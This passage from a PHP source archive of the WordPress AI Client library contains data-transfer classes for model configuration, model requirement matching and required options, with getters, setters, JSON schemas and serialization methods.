        return $this->frequencyPenalty;
    }
    /**
     * Sets whether to return log probabilities.
     *
     * @since 0.1.0
     *
     * @param bool $logprobs Whether to return log probabilities.
     */
    public function setLogprobs(bool $logprobs): void
    {
        $this->logprobs = $logprobs;
    }
    /**
     * Gets whether to return log probabilities.
     *
     * @since 0.1.0
     *
     * @return bool|null Whether to return log probabilities.
     */
    public function getLogprobs(): ?bool
    {
        return $this->logprobs;
    }
    /**
     * Sets the number of top log probabilities to return.
     *
     * @since 0.1.0
     *
     * @param int $topLogprobs The number of top log probabilities.
     */
    public function setTopLogprobs(int $topLogprobs): void
    {
        $this->topLogprobs = $topLogprobs;
    }
    /**
     * Gets the number of top log probabilities to return.
     *
     * @since 0.1.0
     *
     * @return int|null The number of top log probabilities.
     */
    public function getTopLogprobs(): ?int
    {
        return $this->topLogprobs;
    }
    /**
     * Sets the function declarations.
     *
     * @since 0.1.0
     *
     * @param list<FunctionDeclaration> $functionDeclarations The function declarations.
     *
     * @throws InvalidArgumentException If the array is not a list.
     */
    public function setFunctionDeclarations(array $functionDeclarations): void
    {
        if (!array_is_list($functionDeclarations)) {
            throw new InvalidArgumentException('Function declarations must be a list array.');
        }
        $this->functionDeclarations = $functionDeclarations;
    }
    /**
     * Gets the function declarations.
     *
     * @since 0.1.0
     *
     * @return list<FunctionDeclaration>|null The function declarations.
     */
    public function getFunctionDeclarations(): ?array
    {
        return $this->functionDeclarations;
    }
    /**
     * Sets the web search configuration.
     *
     * @since 0.1.0
     *
     * @param WebSearch $webSearch The web search configuration.
     */
    public function setWebSearch(WebSearch $webSearch): void
    {
        $this->webSearch = $webSearch;
    }
    /**
     * Gets the web search configuration.
     *
     * @since 0.1.0
     *
     * @return WebSearch|null The web search configuration.
     */
    public function getWebSearch(): ?WebSearch
    {
        return $this->webSearch;
    }
    /**
     * Sets the output file type.
     *
     * @since 0.1.0
     *
     * @param FileTypeEnum $outputFileType The output file type.
     */
    public function setOutputFileType(FileTypeEnum $outputFileType): void
    {
        $this->outputFileType = $outputFileType;
    }
    /**
     * Gets the output file type.
     *
     * @since 0.1.0
     *
     * @return FileTypeEnum|null The output file type.
     */
    public function getOutputFileType(): ?FileTypeEnum
    {
        return $this->outputFileType;
    }
    /**
     * Sets the output MIME type.
     *
     * @since 0.1.0
     *
     * @param string $outputMimeType The output MIME type.
     */
    public function setOutputMimeType(string $outputMimeType): void
    {
        $this->outputMimeType = $outputMimeType;
    }
    /**
     * Gets the output MIME type.
     *
     * @since 0.1.0
     *
     * @return string|null The output MIME type.
     */
    public function getOutputMimeType(): ?string
    {
        return $this->outputMimeType;
    }
    /**
     * Sets the output schema.
     *
     * When setting an output schema, this method automatically sets
     * the output MIME type to "application/json" if not already set.
     *
     * @since 0.1.0
     *
     * @param array<string, mixed> $outputSchema The output schema (JSON schema).
     */
    public function setOutputSchema(array $outputSchema): void
    {
        $this->outputSchema = $outputSchema;
        // Automatically set outputMimeType to application/json when schema is provided
        if ($this->outputMimeType === null) {
            $this->outputMimeType = 'application/json';
        }
    }
    /**
     * Gets the output schema.
     *
     * @since 0.1.0
     *
     * @return array<string, mixed>|null The output schema.
     */
    public function getOutputSchema(): ?array
    {
        return $this->outputSchema;
    }
    /**
     * Sets the output media orientation.
     *
     * @since 0.1.0
     *
     * @param MediaOrientationEnum $outputMediaOrientation The output media orientation.
     */
    public function setOutputMediaOrientation(MediaOrientationEnum $outputMediaOrientation): void
    {
        if ($this->outputMediaAspectRatio) {
            $this->validateMediaOrientationAspectRatioCompatibility($outputMediaOrientation, $this->outputMediaAspectRatio);
        }
        $this->outputMediaOrientation = $outputMediaOrientation;
    }
    /**
     * Gets the output media orientation.
     *
     * @since 0.1.0
     *
     * @return MediaOrientationEnum|null The output media orientation.
     */
    public function getOutputMediaOrientation(): ?MediaOrientationEnum
    {
        return $this->outputMediaOrientation;
    }
    /**
     * Sets the output media aspect ratio.
     *
     * If set, this supersedes the output media orientation, as it is a more specific configuration.
     *
     * @since 0.1.0
     *
     * @param string $outputMediaAspectRatio The output media aspect ratio (e.g. 3:2, 16:9).
     */
    public function setOutputMediaAspectRatio(string $outputMediaAspectRatio): void
    {
        if (!preg_match('/^\d+:\d+$/', $outputMediaAspectRatio)) {
            throw new InvalidArgumentException('Output media aspect ratio must be in the format "width:height" (e.g. 3:2, 16:9).');
        }
        if ($this->outputMediaOrientation) {
            $this->validateMediaOrientationAspectRatioCompatibility($this->outputMediaOrientation, $outputMediaAspectRatio);
        }
        $this->outputMediaAspectRatio = $outputMediaAspectRatio;
    }
    /**
     * Gets the output media aspect ratio.
     *
     * @since 0.1.0
     *
     * @return string|null The output media aspect ratio (e.g. 3:2, 16:9).
     */
    public function getOutputMediaAspectRatio(): ?string
    {
        return $this->outputMediaAspectRatio;
    }
    /**
     * Validates that the given media orientation and aspect ratio values do not conflict with each other.
     *
     * @since 0.4.0
     *
     * @param MediaOrientationEnum $orientation The desired media orientation.
     * @param string $aspectRatio The desired media aspect ratio.
     */
    protected function validateMediaOrientationAspectRatioCompatibility(MediaOrientationEnum $orientation, string $aspectRatio): void
    {
        $aspectRatioParts = explode(':', $aspectRatio);
        if ($orientation->isSquare() && $aspectRatioParts[0] !== $aspectRatioParts[1]) {
            throw new InvalidArgumentException('The aspect ratio "' . $aspectRatio . '" is not compatible with the square orientation.');
        }
        if ($orientation->isLandscape() && $aspectRatioParts[0] <= $aspectRatioParts[1]) {
            throw new InvalidArgumentException('The aspect ratio "' . $aspectRatio . '" is not compatible with the landscape orientation.');
        }
        if ($orientation->isPortrait() && $aspectRatioParts[0] >= $aspectRatioParts[1]) {
            throw new InvalidArgumentException('The aspect ratio "' . $aspectRatio . '" is not compatible with the portrait orientation.');
        }
    }
    /**
     * Sets the output speech voice.
     *
     * @since 0.1.0
     *
     * @param string $outputSpeechVoice The output speech voice.
     */
    public function setOutputSpeechVoice(string $outputSpeechVoice): void
    {
        $this->outputSpeechVoice = $outputSpeechVoice;
    }
    /**
     * Gets the output speech voice.
     *
     * @since 0.1.0
     *
     * @return string|null The output speech voice.
     */
    public function getOutputSpeechVoice(): ?string
    {
        return $this->outputSpeechVoice;
    }
    /**
     * Sets a single custom option.
     *
     * @since 0.1.0
     *
     * @param string $key   The option key.
     * @param mixed  $value The option value.
     */
    public function setCustomOption(string $key, $value): void
    {
        $this->customOptions[$key] = $value;
    }
    /**
     * Sets the custom options.
     *
     * @since 0.1.0
     *
     * @param array<string, mixed> $customOptions The custom options.
     */
    public function setCustomOptions(array $customOptions): void
    {
        $this->customOptions = $customOptions;
    }
    /**
     * Gets the custom options.
     *
     * @since 0.1.0
     *
     * @return array<string, mixed> The custom options.
     */
    public function getCustomOptions(): array
    {
        return $this->customOptions;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function getJsonSchema(): array
    {
        return ['type' => 'object', 'properties' => [self::KEY_OUTPUT_MODALITIES => ['type' => 'array', 'items' => ['type' => 'string', 'enum' => ModalityEnum::getValues()], 'description' => 'Output modalities for the model.'], self::KEY_SYSTEM_INSTRUCTION => ['type' => 'string', 'description' => 'System instruction for the model.'], self::KEY_CANDIDATE_COUNT => ['type' => 'integer', 'minimum' => 1, 'description' => 'Number of response candidates to generate.'], self::KEY_MAX_TOKENS => ['type' => 'integer', 'minimum' => 1, 'description' => 'Maximum number of tokens to generate.'], self::KEY_TEMPERATURE => ['type' => 'number', 'minimum' => 0.0, 'maximum' => 2.0, 'description' => 'Temperature for randomness.'], self::KEY_TOP_P => ['type' => 'number', 'minimum' => 0.0, 'maximum' => 1.0, 'description' => 'Top-p nucleus sampling parameter.'], self::KEY_TOP_K => ['type' => 'integer', 'minimum' => 1, 'description' => 'Top-k sampling parameter.'], self::KEY_STOP_SEQUENCES => ['type' => 'array', 'items' => ['type' => 'string'], 'description' => 'Stop sequences.'], self::KEY_PRESENCE_PENALTY => ['type' => 'number', 'description' => 'Presence penalty for reducing repetition.'], self::KEY_FREQUENCY_PENALTY => ['type' => 'number', 'description' => 'Frequency penalty for reducing repetition.'], self::KEY_LOGPROBS => ['type' => 'boolean', 'description' => 'Whether to return log probabilities.'], self::KEY_TOP_LOGPROBS => ['type' => 'integer', 'minimum' => 1, 'description' => 'Number of top log probabilities to return.'], self::KEY_FUNCTION_DECLARATIONS => ['type' => 'array', 'items' => FunctionDeclaration::getJsonSchema(), 'description' => 'Function declarations available to the model.'], self::KEY_WEB_SEARCH => WebSearch::getJsonSchema(), self::KEY_OUTPUT_FILE_TYPE => ['type' => 'string', 'enum' => FileTypeEnum::getValues(), 'description' => 'Output file type.'], self::KEY_OUTPUT_MIME_TYPE => ['type' => 'string', 'description' => 'Output MIME type.'], self::KEY_OUTPUT_SCHEMA => ['type' => 'object', 'additionalProperties' => \true, 'description' => 'Output schema (JSON schema).'], self::KEY_OUTPUT_MEDIA_ORIENTATION => ['type' => 'string', 'enum' => MediaOrientationEnum::getValues(), 'description' => 'Output media orientation.'], self::KEY_OUTPUT_MEDIA_ASPECT_RATIO => ['type' => 'string', 'pattern' => '^\d+:\d+$', 'description' => 'Output media aspect ratio.'], self::KEY_OUTPUT_SPEECH_VOICE => ['type' => 'string', 'description' => 'Output speech voice.'], self::KEY_CUSTOM_OPTIONS => ['type' => 'object', 'additionalProperties' => \true, 'description' => 'Custom provider-specific options.']], 'additionalProperties' => \false];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @return ModelConfigArrayShape
     */
    public function toArray(): array
    {
        $data = [];
        if ($this->outputModalities !== null) {
            $data[self::KEY_OUTPUT_MODALITIES] = array_map(static function (ModalityEnum $modality): string {
                return $modality->value;
            }, $this->outputModalities);
        }
        if ($this->systemInstruction !== null) {
            $data[self::KEY_SYSTEM_INSTRUCTION] = $this->systemInstruction;
        }
        if ($this->candidateCount !== null) {
            $data[self::KEY_CANDIDATE_COUNT] = $this->candidateCount;
        }
        if ($this->maxTokens !== null) {
            $data[self::KEY_MAX_TOKENS] = $this->maxTokens;
        }
        if ($this->temperature !== null) {
            $data[self::KEY_TEMPERATURE] = $this->temperature;
        }
        if ($this->topP !== null) {
            $data[self::KEY_TOP_P] = $this->topP;
        }
        if ($this->topK !== null) {
            $data[self::KEY_TOP_K] = $this->topK;
        }
        if ($this->stopSequences !== null) {
            $data[self::KEY_STOP_SEQUENCES] = $this->stopSequences;
        }
        if ($this->presencePenalty !== null) {
            $data[self::KEY_PRESENCE_PENALTY] = $this->presencePenalty;
        }
        if ($this->frequencyPenalty !== null) {
            $data[self::KEY_FREQUENCY_PENALTY] = $this->frequencyPenalty;
        }
        if ($this->logprobs !== null) {
            $data[self::KEY_LOGPROBS] = $this->logprobs;
        }
        if ($this->topLogprobs !== null) {
            $data[self::KEY_TOP_LOGPROBS] = $this->topLogprobs;
        }
        if ($this->functionDeclarations !== null) {
            $data[self::KEY_FUNCTION_DECLARATIONS] = array_map(static function (FunctionDeclaration $functionDeclaration): array {
                return $functionDeclaration->toArray();
            }, $this->functionDeclarations);
        }
        if ($this->webSearch !== null) {
            $data[self::KEY_WEB_SEARCH] = $this->webSearch->toArray();
        }
        if ($this->outputFileType !== null) {
            $data[self::KEY_OUTPUT_FILE_TYPE] = $this->outputFileType->value;
        }
        if ($this->outputMimeType !== null) {
            $data[self::KEY_OUTPUT_MIME_TYPE] = $this->outputMimeType;
        }
        if ($this->outputSchema !== null) {
            $data[self::KEY_OUTPUT_SCHEMA] = $this->outputSchema;
        }
        if ($this->outputMediaOrientation !== null) {
            $data[self::KEY_OUTPUT_MEDIA_ORIENTATION] = $this->outputMediaOrientation->value;
        }
        if ($this->outputMediaAspectRatio !== null) {
            $data[self::KEY_OUTPUT_MEDIA_ASPECT_RATIO] = $this->outputMediaAspectRatio;
        }
        if ($this->outputSpeechVoice !== null) {
            $data[self::KEY_OUTPUT_SPEECH_VOICE] = $this->outputSpeechVoice;
        }
        if (!empty($this->customOptions)) {
            $data[self::KEY_CUSTOM_OPTIONS] = $this->customOptions;
        }
        return $data;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function fromArray(array $array): self
    {
        $config = new self();
        if (isset($array[self::KEY_OUTPUT_MODALITIES])) {
            $config->setOutputModalities(array_map(static fn(string $modality): ModalityEnum => ModalityEnum::from($modality), $array[self::KEY_OUTPUT_MODALITIES]));
        }
        if (isset($array[self::KEY_SYSTEM_INSTRUCTION])) {
            $config->setSystemInstruction($array[self::KEY_SYSTEM_INSTRUCTION]);
        }
        if (isset($array[self::KEY_CANDIDATE_COUNT])) {
            $config->setCandidateCount($array[self::KEY_CANDIDATE_COUNT]);
        }
        if (isset($array[self::KEY_MAX_TOKENS])) {
            $config->setMaxTokens($array[self::KEY_MAX_TOKENS]);
        }
        if (isset($array[self::KEY_TEMPERATURE])) {
            $config->setTemperature($array[self::KEY_TEMPERATURE]);
        }
        if (isset($array[self::KEY_TOP_P])) {
            $config->setTopP($array[self::KEY_TOP_P]);
        }
        if (isset($array[self::KEY_TOP_K])) {
            $config->setTopK($array[self::KEY_TOP_K]);
        }
        if (isset($array[self::KEY_STOP_SEQUENCES])) {
            $config->setStopSequences($array[self::KEY_STOP_SEQUENCES]);
        }
        if (isset($array[self::KEY_PRESENCE_PENALTY])) {
            $config->setPresencePenalty($array[self::KEY_PRESENCE_PENALTY]);
        }
        if (isset($array[self::KEY_FREQUENCY_PENALTY])) {
            $config->setFrequencyPenalty($array[self::KEY_FREQUENCY_PENALTY]);
        }
        if (isset($array[self::KEY_LOGPROBS])) {
            $config->setLogprobs($array[self::KEY_LOGPROBS]);
        }
        if (isset($array[self::KEY_TOP_LOGPROBS])) {
            $config->setTopLogprobs($array[self::KEY_TOP_LOGPROBS]);
        }
        if (isset($array[self::KEY_FUNCTION_DECLARATIONS])) {
            $config->setFunctionDeclarations(array_map(static function (array $functionDeclarationData): FunctionDeclaration {
                return FunctionDeclaration::fromArray($functionDeclarationData);
            }, $array[self::KEY_FUNCTION_DECLARATIONS]));
        }
        if (isset($array[self::KEY_WEB_SEARCH])) {
            $config->setWebSearch(WebSearch::fromArray($array[self::KEY_WEB_SEARCH]));
        }
        if (isset($array[self::KEY_OUTPUT_FILE_TYPE])) {
            $config->setOutputFileType(FileTypeEnum::from($array[self::KEY_OUTPUT_FILE_TYPE]));
        }
        if (isset($array[self::KEY_OUTPUT_MIME_TYPE])) {
            $config->setOutputMimeType($array[self::KEY_OUTPUT_MIME_TYPE]);
        }
        if (isset($array[self::KEY_OUTPUT_SCHEMA])) {
            $config->setOutputSchema($array[self::KEY_OUTPUT_SCHEMA]);
        }
        if (isset($array[self::KEY_OUTPUT_MEDIA_ORIENTATION])) {
            $config->setOutputMediaOrientation(MediaOrientationEnum::from($array[self::KEY_OUTPUT_MEDIA_ORIENTATION]));
        }
        if (isset($array[self::KEY_OUTPUT_MEDIA_ASPECT_RATIO])) {
            $config->setOutputMediaAspectRatio($array[self::KEY_OUTPUT_MEDIA_ASPECT_RATIO]);
        }
        if (isset($array[self::KEY_OUTPUT_SPEECH_VOICE])) {
            $config->setOutputSpeechVoice($array[self::KEY_OUTPUT_SPEECH_VOICE]);
        }
        if (isset($array[self::KEY_CUSTOM_OPTIONS])) {
            $config->setCustomOptions($array[self::KEY_CUSTOM_OPTIONS]);
        }
        return $config;
    }
}
src/Providers/Models/DTO/ModelRequirements.php000064400000036511152205304550015345 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Messages\Enums\ModalityEnum;
use WordPress\AiClient\Providers\Models\Enums\CapabilityEnum;
use WordPress\AiClient\Providers\Models\Enums\OptionEnum;
/**
 * Represents requirements that implementing code has for AI model selection.
 *
 * This class defines the capabilities and options that a model must support
 * in order to be considered suitable for the implementing code's needs.
 *
 * @since 0.1.0
 *
 * @phpstan-import-type RequiredOptionArrayShape from RequiredOption
 *
 * @phpstan-type ModelRequirementsArrayShape array{
 *     requiredCapabilities: list<string>,
 *     requiredOptions: list<RequiredOptionArrayShape>
 * }
 *
 * @extends AbstractDataTransferObject<ModelRequirementsArrayShape>
 */
class ModelRequirements extends AbstractDataTransferObject
{
    public const KEY_REQUIRED_CAPABILITIES = 'requiredCapabilities';
    public const KEY_REQUIRED_OPTIONS = 'requiredOptions';
    /**
     * @var list<CapabilityEnum> The capabilities that the model must support.
     */
    protected array $requiredCapabilities;
    /**
     * @var list<RequiredOption> The options that the model must support with specific values.
     */
    protected array $requiredOptions;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param list<CapabilityEnum> $requiredCapabilities The capabilities that the model must support.
     * @param list<RequiredOption> $requiredOptions The options that the model must support with specific values.
     *
     * @throws InvalidArgumentException If arrays are not lists.
     */
    public function __construct(array $requiredCapabilities, array $requiredOptions)
    {
        if (!array_is_list($requiredCapabilities)) {
            throw new InvalidArgumentException('Required capabilities must be a list array.');
        }
        if (!array_is_list($requiredOptions)) {
            throw new InvalidArgumentException('Required options must be a list array.');
        }
        $this->requiredCapabilities = $requiredCapabilities;
        $this->requiredOptions = $requiredOptions;
    }
    /**
     * Gets the capabilities that the model must support.
     *
     * @since 0.1.0
     *
     * @return list<CapabilityEnum> The required capabilities.
     */
    public function getRequiredCapabilities(): array
    {
        return $this->requiredCapabilities;
    }
    /**
     * Gets the options that the model must support with specific values.
     *
     * @since 0.1.0
     *
     * @return list<RequiredOption> The required options.
     */
    public function getRequiredOptions(): array
    {
        return $this->requiredOptions;
    }
    /**
     * Checks whether the given model metadata meets these requirements.
     *
     * @since 0.2.0
     *
     * @param ModelMetadata $metadata The model metadata to check against.
     * @return bool True if the model meets all requirements, false otherwise.
     */
    public function areMetBy(\WordPress\AiClient\Providers\Models\DTO\ModelMetadata $metadata): bool
    {
        // Create lookup maps for better performance (instead of nested foreach loops)
        $capabilitiesMap = [];
        foreach ($metadata->getSupportedCapabilities() as $capability) {
            $capabilitiesMap[$capability->value] = $capability;
        }
        $optionsMap = [];
        foreach ($metadata->getSupportedOptions() as $option) {
            $optionsMap[$option->getName()->value] = $option;
        }
        // Check if all required capabilities are supported using map lookup
        foreach ($this->requiredCapabilities as $requiredCapability) {
            if (!isset($capabilitiesMap[$requiredCapability->value])) {
                return \false;
            }
        }
        // Check if all required options are supported with the specified values
        foreach ($this->requiredOptions as $requiredOption) {
            // Use map lookup instead of linear search
            if (!isset($optionsMap[$requiredOption->getName()->value])) {
                return \false;
            }
            $supportedOption = $optionsMap[$requiredOption->getName()->value];
            // Check if the required value is supported by this option
            if (!$supportedOption->isSupportedValue($requiredOption->getValue())) {
                return \false;
            }
        }
        return \true;
    }
    /**
     * Creates ModelRequirements from prompt data and model configuration.
     *
     * @since 0.2.0
     *
     * @param CapabilityEnum $capability The capability the model must support.
     * @param list<Message> $messages The messages in the conversation.
     * @param ModelConfig $modelConfig The model configuration.
     * @return self The created requirements.
     */
    public static function fromPromptData(CapabilityEnum $capability, array $messages, \WordPress\AiClient\Providers\Models\DTO\ModelConfig $modelConfig): self
    {
        // Start with base capability
        $capabilities = [$capability];
        $inputModalities = [];
        // Check if we have chat history (multiple messages)
        if (count($messages) > 1) {
            $capabilities[] = CapabilityEnum::chatHistory();
        }
        // Analyze all messages to determine required input modalities
        $hasFunctionMessageParts = \false;
        foreach ($messages as $message) {
            foreach ($message->getParts() as $part) {
                // Check for text input
                if ($part->getType()->isText()) {
                    $inputModalities[] = ModalityEnum::text();
                }
                // Check for file inputs
                if ($part->getType()->isFile()) {
                    $file = $part->getFile();
                    if ($file !== null) {
                        if ($file->isImage()) {
                            $inputModalities[] = ModalityEnum::image();
                        } elseif ($file->isAudio()) {
                            $inputModalities[] = ModalityEnum::audio();
                        } elseif ($file->isVideo()) {
                            $inputModalities[] = ModalityEnum::video();
                        } elseif ($file->isDocument() || $file->isText()) {
                            $inputModalities[] = ModalityEnum::document();
                        }
                    }
                }
                // Check for function calls/responses (these might require special capabilities)
                if ($part->getType()->isFunctionCall() || $part->getType()->isFunctionResponse()) {
                    $hasFunctionMessageParts = \true;
                }
            }
        }
        // Convert ModelConfig to RequiredOptions
        $requiredOptions = self::toRequiredOptions($modelConfig);
        // Add additional options based on message analysis
        if ($hasFunctionMessageParts) {
            $requiredOptions = self::includeInRequiredOptions($requiredOptions, new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::functionDeclarations(), \true));
        }
        // Add input modalities if we have any inputs
        if (!empty($inputModalities)) {
            // Remove duplicates
            $inputModalities = array_unique($inputModalities, \SORT_REGULAR);
            $requiredOptions = self::includeInRequiredOptions($requiredOptions, new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::inputModalities(), array_values($inputModalities)));
        }
        // Step 6: Return new ModelRequirements
        return new self($capabilities, $requiredOptions);
    }
    /**
     * Converts ModelConfig to an array of RequiredOptions.
     *
     * @since 0.2.0
     *
     * @param ModelConfig $modelConfig The model configuration.
     * @return list<RequiredOption> The required options.
     */
    private static function toRequiredOptions(\WordPress\AiClient\Providers\Models\DTO\ModelConfig $modelConfig): array
    {
        $requiredOptions = [];
        // Map properties that have corresponding OptionEnum values
        if ($modelConfig->getOutputModalities() !== null) {
            $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputModalities(), $modelConfig->getOutputModalities());
        }
        if ($modelConfig->getSystemInstruction() !== null) {
            $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::systemInstruction(), $modelConfig->getSystemInstruction());
        }
        if ($modelConfig->getCandidateCount() !== null) {
            $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::candidateCount(), $modelConfig->getCandidateCount());
        }
        if ($modelConfig->getMaxTokens() !== null) {
            $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::maxTokens(), $modelConfig->getMaxTokens());
        }
        if ($modelConfig->getTemperature() !== null) {
            $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::temperature(), $modelConfig->getTemperature());
        }
        if ($modelConfig->getTopP() !== null) {
            $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::topP(), $modelConfig->getTopP());
        }
        if ($modelConfig->getTopK() !== null) {
            $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::topK(), $modelConfig->getTopK());
        }
        if ($modelConfig->getOutputMimeType() !== null) {
            $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputMimeType(), $modelConfig->getOutputMimeType());
        }
        if ($modelConfig->getOutputSchema() !== null) {
            $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputSchema(), $modelConfig->getOutputSchema());
        }
        // Handle properties without OptionEnum values as custom options
        if ($modelConfig->getStopSequences() !== null) {
            $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::stopSequences(), $modelConfig->getStopSequences());
        }
        if ($modelConfig->getPresencePenalty() !== null) {
            $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::presencePenalty(), $modelConfig->getPresencePenalty());
        }
        if ($modelConfig->getFrequencyPenalty() !== null) {
            $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::frequencyPenalty(), $modelConfig->getFrequencyPenalty());
        }
        if ($modelConfig->getLogprobs() !== null) {
            $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::logprobs(), $modelConfig->getLogprobs());
        }
        if ($modelConfig->getTopLogprobs() !== null) {
            $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::topLogprobs(), $modelConfig->getTopLogprobs());
        }
        if ($modelConfig->getFunctionDeclarations() !== null) {
            $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::functionDeclarations(), \true);
        }
        if ($modelConfig->getWebSearch() !== null) {
            $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::webSearch(), \true);
        }
        if ($modelConfig->getOutputFileType() !== null) {
            $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputFileType(), $modelConfig->getOutputFileType());
        }
        if ($modelConfig->getOutputMediaOrientation() !== null) {
            $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputMediaOrientation(), $modelConfig->getOutputMediaOrientation());
        }
        if ($modelConfig->getOutputMediaAspectRatio() !== null) {
            $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::outputMediaAspectRatio(), $modelConfig->getOutputMediaAspectRatio());
        }
        // Add custom options as individual RequiredOptions
        foreach ($modelConfig->getCustomOptions() as $key => $value) {
            $requiredOptions[] = new \WordPress\AiClient\Providers\Models\DTO\RequiredOption(OptionEnum::customOptions(), [$key => $value]);
        }
        return $requiredOptions;
    }
    /**
     * Includes a RequiredOption in the array, ensuring no duplicates based on option name.
     *
     * @since 0.2.0
     *
     * @param list<RequiredOption> $requiredOptions The existing required options.
     * @param RequiredOption $newOption The new option to include.
     * @return list<RequiredOption> The updated required options array.
     */
    private static function includeInRequiredOptions(array $requiredOptions, \WordPress\AiClient\Providers\Models\DTO\RequiredOption $newOption): array
    {
        // Check if we already have this option name
        foreach ($requiredOptions as $index => $existingOption) {
            if ($existingOption->getName()->equals($newOption->getName())) {
                // Replace existing option with new one
                $requiredOptions[$index] = $newOption;
                return $requiredOptions;
            }
        }
        // Option not found, add it
        $requiredOptions[] = $newOption;
        return $requiredOptions;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function getJsonSchema(): array
    {
        return ['type' => 'object', 'properties' => [self::KEY_REQUIRED_CAPABILITIES => ['type' => 'array', 'items' => ['type' => 'string', 'enum' => CapabilityEnum::getValues()], 'description' => 'The capabilities that the model must support.'], self::KEY_REQUIRED_OPTIONS => ['type' => 'array', 'items' => \WordPress\AiClient\Providers\Models\DTO\RequiredOption::getJsonSchema(), 'description' => 'The options that the model must support with specific values.']], 'required' => [self::KEY_REQUIRED_CAPABILITIES, self::KEY_REQUIRED_OPTIONS]];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @return ModelRequirementsArrayShape
     */
    public function toArray(): array
    {
        return [self::KEY_REQUIRED_CAPABILITIES => array_map(static fn(CapabilityEnum $capability): string => $capability->value, $this->requiredCapabilities), self::KEY_REQUIRED_OPTIONS => array_map(static fn(\WordPress\AiClient\Providers\Models\DTO\RequiredOption $option): array => $option->toArray(), $this->requiredOptions)];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function fromArray(array $array): self
    {
        static::validateFromArrayData($array, [self::KEY_REQUIRED_CAPABILITIES, self::KEY_REQUIRED_OPTIONS]);
        return new self(array_map(static fn(string $capability): CapabilityEnum => CapabilityEnum::from($capability), $array[self::KEY_REQUIRED_CAPABILITIES]), array_map(static fn(array $optionData): \WordPress\AiClient\Providers\Models\DTO\RequiredOption => \WordPress\AiClient\Providers\Models\DTO\RequiredOption::fromArray($optionData), $array[self::KEY_REQUIRED_OPTIONS]));
    }
}
src/Providers/Models/DTO/RequiredOption.php000064400000005513152205304550014650 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Providers\Models\Enums\OptionEnum;
/**
 * Represents an option that the implementing code requires the model to support.
 *
 * This class defines an option that the model must support with a specific value
 * for it to be considered suitable for the implementing code's requirements.
 *
 * @since 0.1.0
 *
 * @phpstan-type RequiredOptionArrayShape array{
 *     name: string,
 *     value: mixed
 * }
 *
 * @extends AbstractDataTransferObject<RequiredOptionArrayShape>
 */
class RequiredOption extends AbstractDataTransferObject
{
    public const KEY_NAME = 'name';
    public const KEY_VALUE = 'value';
    /**
     * @var OptionEnum The option name.
     */
    protected OptionEnum $name;
    /**
     * @var mixed The value that the model must support for this option.
     */
    protected $value;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param OptionEnum $name The option name.
     * @param mixed $value The value that the model must support for this option.
     */
    public function __construct(OptionEnum $name, $value)
    {
        $this->name = $name;
        $this->value = $value;
    }
    /**
     * Gets the option name.
     *
     * @since 0.1.0
     *
     * @return OptionEnum The option name.
     */
    public function getName(): OptionEnum
    {
        return $this->name;
    }
    /**
     * Gets the value that the model must support for this option.
     *
     * @since 0.1.0
     *
     * @return mixed The value that the model must support.
     */
    public function getValue()
    {
        return $this->value;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function getJsonSchema(): array
    {
        return ['type' => 'object', 'properties' => [self::KEY_NAME => ['type' => 'string', 'enum' => OptionEnum::getValues(), 'description' => 'The option name.'], self::KEY_VALUE => ['oneOf' => [['type' => 'string'], ['type' => 'number'], ['type' => 'boolean'], ['type' => 'null'], ['type' => 'array'], ['type' => 'object']], 'description' => 'The value that the model must support for this option.']], 'required' => [self::KEY_NAME, self::KEY_VALUE]];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @return RequiredOptionArrayShape
     */
    public function toArray(): array
    {
        return [self::KEY_NAME => $this->name->value, self::KEY_VALUE => $this->value];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function fromArray(array $array): self
    {
